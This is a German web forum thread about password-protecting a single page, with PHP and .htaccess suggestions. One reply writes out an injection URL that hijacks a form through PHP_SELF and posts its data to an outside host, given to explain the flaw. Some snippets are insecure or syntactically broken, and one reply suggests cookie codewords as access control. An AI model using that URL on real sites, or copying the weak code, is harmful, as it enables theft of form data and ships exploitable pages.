Sandra: Bestimmte Seite schützen

Also ich möchte von der Hauptseite auf eine Seite verlinken, die nur für bestimmte zugänglich sein soll. (Jedoch nicht alle Seiten sollen geschütz werden) Dass heißt, ich erstelle die Hauptseite und die verlinkte Seite mit dem schutz. Jedoch weiß ich nicht, ob man einen schutz auf eine seite setzen kann oder nicht.

Kann mir da jemand helfen?
Wie nennt man sowas?

  1. Also ich möchte von der Hauptseite auf eine Seite verlinken, die nur für bestimmte zugänglich sein soll. (Jedoch nicht alle Seiten sollen geschütz werden) Dass heißt, ich erstelle die Hauptseite und die verlinkte Seite mit dem schutz. Jedoch weiß ich nicht, ob man einen schutz auf eine seite setzen kann oder nicht.

    Kann mir da jemand helfen?
    Wie nennt man sowas?

    einen Perfekten schutz gibt es nicht! Das muss man sagen. Wenn jemand den direkten link zur seite kennt ist der schutz unwirksam!
    Was meinst du mit schutz?
    Passwortschutz
    oder was anderes?
    Also hier mal ein php passwortschutz:

    <html>
    <head>
      <title>Kennen Sie das Passwort?</title>
    <meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
    <link rel="stylesheet" type="text/css" href="../c1.css">
    </head>
    <body>
    <h2>Bitte geben Sie das Passwort ein!</h2>

    <br>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
    <input type="text" name="pw">
    <input type="submit" value="Senden">
    </form>
    <?php
    if (isset($_POST['pw'])) {
      $pw = $_POST['pw'];
      if ($pw == "DEINPASSWORT") {

    ?>
    <h3>Willkommen im Geschützenbereich</h3>
    <br>DEINE SEITE DIE DU SCHÜTZEN WILLST,KOMMT HIER RUNTER!

    <?php
      } else {
    ?>
    <h3>Das eingegebene Passwort ist nicht korrekt</h3>
    EINEN TEXT ODER LINK.
    <?php
      }
    }
    ?>

    1. Hello,

      einen Perfekten schutz gibt es nicht! Das muss man sagen. Wenn jemand den direkten link zur seite kennt ist der schutz unwirksam!

      Wieso?

      Wenn der Server dies unterstützt, also z.B. ein Apache ist und die passenden Module geladen sind, dann kann man für das von ihm verwendete Protokoll HTTP auch eine Zugangsbeschränkung mit .htaccess einrichten. Andere Server haben andere Möglichkeiten.

      Harzliche Grüße aus dem
      verschneiten Sankt Andreasberg
      und Frohe Weihnachtszeit

      Tom

      --
      Nur selber lernen macht schlau

      1. Sorry tom daran hab ich garnicht gedacht.

        1. Also in Betrieben gibt es Betriebsräte, die die Arbeitnehmer vertreten. Genauso gibt es auch Jugendauszubildendenvertretungen, die die jungen Arbeitnehmer vertreten. Da unser Betrieb (Max-Planck-Gesellschaft) mehrmals in Deutschland vertreten sind, haben wir eine Homepage für alle Jugendliche erstellt. An diese Seite kommt jeder dran.

          Nun möchte wir auf dieser Seite einen zusätzliche Seite mit Material nur für die Jugendvertretungen machen. An diese Seite sollen nur bestimmte Leute dran kommen. Ist es nun sinnvoll die Dokumente die auf der Seite stehen sollen zu schützen oder die ganze Seite?

          Also ich habe die Haupseite mit vielen verlinkten weiteren Seiten und einer dieser Seiten soll so ausgerichtet sein, dass eben nur bestimmte ran kommen. Ich kenne mich leider nicht so gut damit aus, wie man dies umsetzen kann.

          Welche Lösung schlagt ihr mir vor?
          Passwortabfrage? Oder Dokumente schützen?

          1. Nun möchte wir auf dieser Seite einen zusätzliche Seite mit Material nur für die Jugendvertretungen machen. An diese Seite sollen nur bestimmte Leute dran kommen. Ist es nun sinnvoll die Dokumente die auf der Seite stehen sollen zu schützen oder die ganze Seite?

            Also ich habe die Haupseite mit vielen verlinkten weiteren Seiten und einer dieser Seiten soll so ausgerichtet sein, dass eben nur bestimmte ran kommen. Ich kenne mich leider nicht so gut damit aus, wie man dies umsetzen kann.

            Welche Lösung schlagt ihr mir vor?
            Passwortabfrage? Oder Dokumente schützen?

            Ich fürchte da braucht's eine komplette Benutzer-Verwaltung. Und zwar einfach aus dem Grunde, weil aus der "Gruppe der Eingeweihten" auch mal Leute ausscheiden können o.ä.
            Wenn man nun also mit einem Master-Passwort arbeitet, welches alle beteiligten kennen, dann muss man das immer wieder (regelmäßig oder bei Bedarf) ändern und wieder an alle berechtigten verteilen und so weiter.
            Bei einer Benutzerverwaltung muss man nur den von nun an unberechtigten User löschen.

            1. Hello,

              von welchem Verb leitet sich "figendi" ab?

              Ich kann keider kein Latein, bin aber trotzdem neugierig, oder gerade deshalb ;-)

              Harzliche Grüße aus
              Sankt Andreasberg
              und Guten Rutsch

              Tom

              --
              Nur selber lernen macht schlau

            2. ok, wenn ich nun ein passwort nehme, dass alle haben und ich das regelmäßig ändern muss wie mache ich dies?

              bitte für ganz doofe erklären oder mir den link nennen.

              und wie macht man die methode mit den einzelnen personenpasswörtern?

              1. Hello,

                ok, wenn ich nun ein passwort nehme, dass alle haben und ich das regelmäßig ändern muss wie mache ich dies?

                bitte für ganz doofe erklären oder mir den link nennen.

                und wie macht man die methode mit den einzelnen personenpasswörtern?

                So liebe Sandra, nun musst Du Dich entscheiden... *g*

                Und zwar, ob Du die Lösung nimmst, bei der ein ganzes Verzeichnis (und dessen Unterverzeichnisse) geschützt werden soll und zwar direkt durch den HTTP-Server, oder ob Du die Methode benutzen willst, bei der die Scriptsprache den Schutz des Dokumentes übernimmt.

                Was hast Du Dir denn von den Vorschlägen schon angeschaut und überprüft, ob Dein Server das überhaupt unterstützt?

                Harzliche Grüße aus
                Sankt Andreasberg
                und Guten Rutsch

                Tom

                --
                Nur selber lernen macht schlau

                1. Und zwar, ob Du die Lösung nimmst, bei der ein ganzes Verzeichnis (und dessen Unterverzeichnisse) geschützt werden soll und zwar direkt durch den HTTP-Servers

                  sind dann alle seiten geschütz, oder kann ich mir welche aussuchen?

                  oder ob Du die Methode benutzen willst, bei der die Scriptsprache den Schutz des Dokumentes übernimmt.

                  was ist denn am einfachsten? sorry ich kenn mich garnicht mit sowas aus :(

                  1. ach, ich bearbeite die seite mit share point

    2. Hello,

      Noch ein paar Worte zu dieser Methode:

      <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">

      $_SERVER['PHP_SELF'] ist bei der üblichen Serverinrichtung, bei der auch Pfadergänzungen nach der eigentlichen Ressource zulässig sind und ans Script weitergereicht werden, nicht ganz ungefährlich. Insbesondere Formulare werden durch einen "manipulierten Link" auf die Ressource entführbar.

      Es ist dann besser, man verwendet

      $_SERVER['SCRIPT_NAME']

      <input type="text" name="pw">
      <input type="submit" value="Senden">
      </form>

      <?php
        if (isset($_POST['pw'])) {
        $pw = $_POST['pw'];
        if ($pw == "DEINPASSWORT") {

      ?>

      Das Umkopieren von Variablen ist nicht notwendig.

      <?php
          $_out['hint'] = "<a href="{$_SERVER['SCRIPT_NAME']}">Nochmal versuchen</a>";

      if (!isset($_POST['pw']) or ($_POST['pw'] != 'mein_geheimes_passwort))
          {
            $_out['errormessage'] = htmlspecialchars('>> Du musst das richtige Passwort wissen <<');
            include('.ht_fehlertemplate.phtml');
            exit;
          }

      ## oder normal weiterarbeiten
          ## und den Rest einbinden
          ##

      ?>

      Und nur als Andeutung die Fehlerseite:

      <!-- .ht_fehlertemplate.phtml -->
      <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
      <HTML>
      <HEAD>
        <TITLE>Fehlermeldung</TITLE>
        <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">

      <style type="text/css">
          html,  body
          {
            height:100%;
            width:100%;
            font-family:century gothic, tahoma, arial,sans-serif;
          }
        </style>

      </HEAD>
      <BODY>

      <p class="errormessage"><?php if(isset($_out['errormessage'])) echo $_out['errormessage'])); ?></p>
      <p class="hint"><?php if(isset($_out['hint'])) echo $_out['hint'])); ?></p>

      </BODY>
      </HTML>

      Nur so als Beispiel, wie man an jeder Stelle im Script auf eine (hoffentlich) valide Fehlerseite kommen kann. Die Trennung von Eingabe, Verarbeitung und Ausgabe macht es möglich, seinen Code sauber zu strukturieren udn nachher auch noch durchzusteigen.

      Die Templates sind so aufgebaut, dass man sie "wissen", wohin jeder vorbereitete Wert gehört und diesen auch nur anzeigen, wenn er gesetzt ist. Das <p> kann man je nach Geschmack und Kontext auch in die Bedingung mit reinnehmen.

      Und dann gibt es noch eine Möglichkeit, den Zugang zu kontrollieren:

      function authenticate(&$_out)    ## Das vorbereitete Ausgabearray übergeben, siehe oben
      {
        Header("WWW-authenticate: basic realm="Privater Bereich"");
        Header("HTTP/1.0 401 Unauthorized");

      #include("wunderbare_leider_nicht_Seite");
        # oder einfach nur:
        echo "Benutzerdaten erforderlich!";

      exit;
      }
      #------------------------------------

      if (!isset($_SERVER["PHP_AUTH_PW"], $_SERVER["PHP_AUTH_USER"])
           or $_SERVER["PHP_AUTH_USER"] != 'dein_username'
           or $_SERVER["PHP_AUTH_PW"] != 'dein_passwort')
      {
        authenticate($_out);
      }

      sonst

      Weiterarbeiten...

      Das funktioniert aber nur, wenn PHP als Modul läuft oder wenn in der CGI-Umgebung die Servervariablen entsprechend dazugeladen wurden aus dem Environment. Letzteres kann man aber nicht immer selber machen als Hosting-Kunde.

      Harzliche Grüße aus
      Sankt Andreasberg
      und Guten Rutsch

      Tom

      --
      Nur selber lernen macht schlau

      1. Hi

        <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">

        $_SERVER['PHP_SELF'] ist bei der üblichen Serverinrichtung, bei der auch Pfadergänzungen nach der eigentlichen Ressource zulässig sind und ans Script weitergereicht werden, nicht ganz ungefährlich. Insbesondere Formulare werden durch einen "manipulierten Link" auf die Ressource entführbar.

        bei mir hat $_SERVER['PHP_SELF'] immer nur den Pfad ohne "?..."

        wie kann das Formular mit $_SERVER['PHP_SELF'] "entführt" werden?
        trifft das dann auch auf $_SERVER['REQUEST_URI'] zu?

        Stella

        1. Hello,

          <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">

          $_SERVER['PHP_SELF'] ist bei der üblichen Serverinrichtung, bei der auch Pfadergänzungen nach der eigentlichen Ressource zulässig sind und ans Script weitergereicht werden, nicht ganz ungefährlich. Insbesondere Formulare werden durch einen "manipulierten Link" auf die Ressource entführbar.

          bei mir hat $_SERVER['PHP_SELF'] immer nur den Pfad ohne "?..."

          Das ?.... ist der Query-String, der ist erstmal unschädlich, weil er, wie Du schon richtig erkannt hast, abgetrennt wird und dann gesondert und gesplittet in $_GET übergeben wird. Die einzelnen Variablen von $_GET dürfen dann selbstverständlich wieder NICHT ungeprüft übernommen werden.

          wie kann das Formular mit $_SERVER['PHP_SELF'] "entführt" werden?

          Wenn das Script z.B. auf

          http://example.org/script.php

          liegt, und man nun noch etwas hinten anhängt

          http://example.org/script.php/"></form><form action=http://testserver.lan/info.php name=""

          Wenn Du Dir ein Script auf Deinem Swerver baust

          <?php    ### info.php ###

          phpinfo();

          ?>

          Und nun einen "Empfehlungslink" der obigen Art auf das anzugreifende Formular (z.B. ein Anmeldeformular bei einer Community) setzt, dann wird Dir brav der Inhalt des Anmeldeformulars zugepostet, wenn es denn mit Post abgeschickt wird...

          Na, dann P(r)OST.

          trifft das dann auch auf $_SERVER['REQUEST_URI'] zu?

          Diese Frage kann ich nicht wirklich beantworten.
          Ich vermute aber, auf $_SERVER['REQUEST_URI'] trifft es deshalb meistens nicht zu, weil man das ja nicht so gedankenlos in das action-Attribut des <form>-Elementes aufnimmt. Die Gefahr besteht also darin, dass man

          echo  "<form action="{$_SERVER['PHP_SELF']}">";

          schreibt.

          Hier wird dann der am eigentlichen Selbstbezug anhängende Pfadteil unescaped in das Action-Attribut eingeschleppt und man hätte einen ähnlichen Effekt, wie bei SQL-Injection.

          Harzliche Grüße aus
          Sankt Andreasberg
          und Guten Rutsch

          Tom

          --
          Nur selber lernen macht schlau

  2. Hello,

    Also ich möchte von der Hauptseite auf eine Seite verlinken, die nur für bestimmte zugänglich sein soll. (Jedoch nicht alle Seiten sollen geschütz werden) Dass heißt, ich erstelle die Hauptseite und die verlinkte Seite mit dem schutz. Jedoch weiß ich nicht, ob man einen schutz auf eine seite setzen kann oder nicht.

    Sowas könnte man als "Verzeichnisschutz" bezeichnen und da findet man dann sogar einen passenden Artikel im Self-Raum: http://de.selfhtml.org/servercgi/server/htaccess.htm

    Das setzt allerdings voraus, der der Webserver das unterstützt und Du als User dieses Feature auch nutzen darfst. Also doch drei Hürden insgesamt...

    • Technisch machbar?
    • Ausreichende rechte zur Nutzung?
    • Wie funktioniert es überhaupt (siehe Artikel)?

    Harzliche Grüße aus dem
    verschneiten Sankt Andreasberg
    und Frohe Weihnachtszeit

    Tom

    --
    Nur selber lernen macht schlau

  3. Also ich möchte von der Hauptseite auf eine Seite verlinken,
    die nur für bestimmte zugänglich sein soll.

    okay,
    dann solltest Du schon auf der Hauptseite nur die Links anzeigen,
    die fuer den betreffenden User auch erreichbar sind.

    Das dies geht, sieht man hier.
    Es wird einem sicher schnell klar, dass hier noch mehr Seiten
    existieren muessen, aber man sieht sie erst gar nicht.

    Realisieren laesst sich dies auf verschiedenen Wegen.
    Eine Methode waeren z.B. Cookies, bestimmte Codeworte im Keks
    werden ausgewertet und danach die Informationen angezeigt.

    Gruss Norbert